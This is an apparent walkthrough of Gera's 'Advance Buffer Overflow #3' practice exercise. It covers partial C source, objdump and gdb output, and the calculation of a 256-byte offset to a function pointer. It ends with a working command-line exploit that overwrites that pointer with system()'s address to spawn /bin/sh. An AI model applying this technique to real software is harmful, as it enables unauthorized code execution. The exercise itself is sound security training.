Gera's Insecure Programming Advance Buffer Overflow #3

This exercise is compiled on Debian 2.6.32 with NX and ASLR enabled. However, those
protections do not effect the difficulty of the exercise. Exploiting this challenge could have been performed with or without those protections.

ABO #3 source code:

/* abo3.c                                       *
 * specially crafted to feed your brain by gera */

/* This'll prepare you for The Next Step        */

int main(int argv,char **argc) {
	extern system,puts; 
	void (*fn)(char*)=(void(*)(char*))&system;
	char buf[256];


It may seem that a straight-forward buffer overflow is possible; however, this is not the case due to exit(). The exercise takes two user arguments. The binary will display the second user argument using puts(). Exploiting this challenge requires the need to overwrite a function pointer to avoid the exit() “restriction.” If the function pointer fn is overwritten with the address to system(), the second argument will be used as system()’s argument.

lixor@debian:~/InsecureProgramming/abo3$ ./abo3 AAAA BBBB

The functions puts() and system() are compiled into the binary. Since the function pointers (puts()/system()) are declared (extern), the pointers to system() and puts() can be found in the disassemble during assignment or from within gdb.

Modified output of objdump -M intel -d abo3. The full dump can be found here

 8048480:       c7 84 24 1c 01 00 00    mov    DWORD PTR [esp+0x11c],0x8048364
 8048487:       64 83 04 08 
 804848b:       c7 84 24 1c 01 00 00    mov    DWORD PTR [esp+0x11c],0x8048394
 8048492:       94 83 04 08 

In the snippet above, the instructions are assigning system and puts to fn. The addresses 0x8048364 and 0x8048394 are system() and puts(), respectively. When you look at the source code, the function pointer fn was assigned two values; first assigned to system() followed by puts().

The next issue is to determine the offset between buf and fn.

This is a modified output of gdb (using mammon_’s .gdbinit) while stepping through the binary.

lixor@debian:~/InsecureProgramming/abo3$ gdb -q --args ./abo3 AAAA BBBB
..snip (stepped through program until function pointer is called)..
     eax:BFFFF669 ebx:B7FCCFF4  ecx:00000000  edx:00000005     eflags:00200282
     esi:00000000 edi:00000000  esp:BFFFF300  ebp:BFFFF428     eip:080484B9
     cs:0073  ds:007B  es:007B  fs:0000  gs:0033  ss:007B    o d I t S z a p c 
BFFFF330 : CA 00 00 00  06 00 00 00 - 78 F3 FF BF  C4 ED E8 B7 ........x.......
BFFFF320 : 00 60 FE B7  24 F5 FF B7 - 00 00 00 00  33 00 00 00 .`..$.......3...
BFFFF310 : 9C F3 FF BF  C6 BF FE B7 - F4 EF FF B7  41 41 41 41 ............AAAA
BFFFF300 : 69 F6 FF BF  64 F6 FF BF - B8 EB E8 B7  01 00 00 00 i...d...........
[007B:BFFFF669]---------------------------------------------------------[ data]
BFFFF669 : 42 42 42 42  00 4F 52 42 - 49 54 5F 53  4F 43 4B 45 BBBB.ORBIT_SOCKE
BFFFF679 : 54 44 49 52  3D 2F 74 6D - 70 2F 6F 72  62 69 74 2D TDIR=/tmp/orbit-
[0073:080484B9]---------------------------------------------------------[ code]
0x80484b9 <main+69>:	mov    0x11c(%esp),%eax
0x80484c0 <main+76>:	call   *%eax
0x80484c2 <main+78>:	movl   $0x1,(%esp)
0x80484c9 <main+85>:	call   0x80483a4 <exit@plt>
0x80484ce:	nop
0x80484cf:	nop
0x080484b9 in main ()
gdb> x/10x $esp
0xbffff300:	0xbffff669	0xbffff664	0xb7e8ebb8	0x00000001
0xbffff310:	0xbffff39c	0xb7febfc6	0xb7ffeff4	0x41414141
0xbffff320:	0xb7fe6000	0xb7fff524
gdb> x/x $esp+0x11c
0xbffff41c:	0x08048394
gdb> x/i 0x08048394
0x8048394 <puts@plt>:	jmp    *0x8049698
gdb> p/d $esp+0x11c - 0xbffff31c
$1 = 256

In the above gdb output, 0x41414141 can be seen and indicates the location of the controlled string. Before the call to eax, eax is loaded with the address of puts at $esp+0x11c. Simple mathematics will show that only 256 bytes is needed to the overwrite the function pointer fn.

lixor@debian:~/InsecureProgramming/abo3$ ./abo3 $(ruby -e 'print "A"*256 +"\x64\x83\x04\x08"') /bin/sh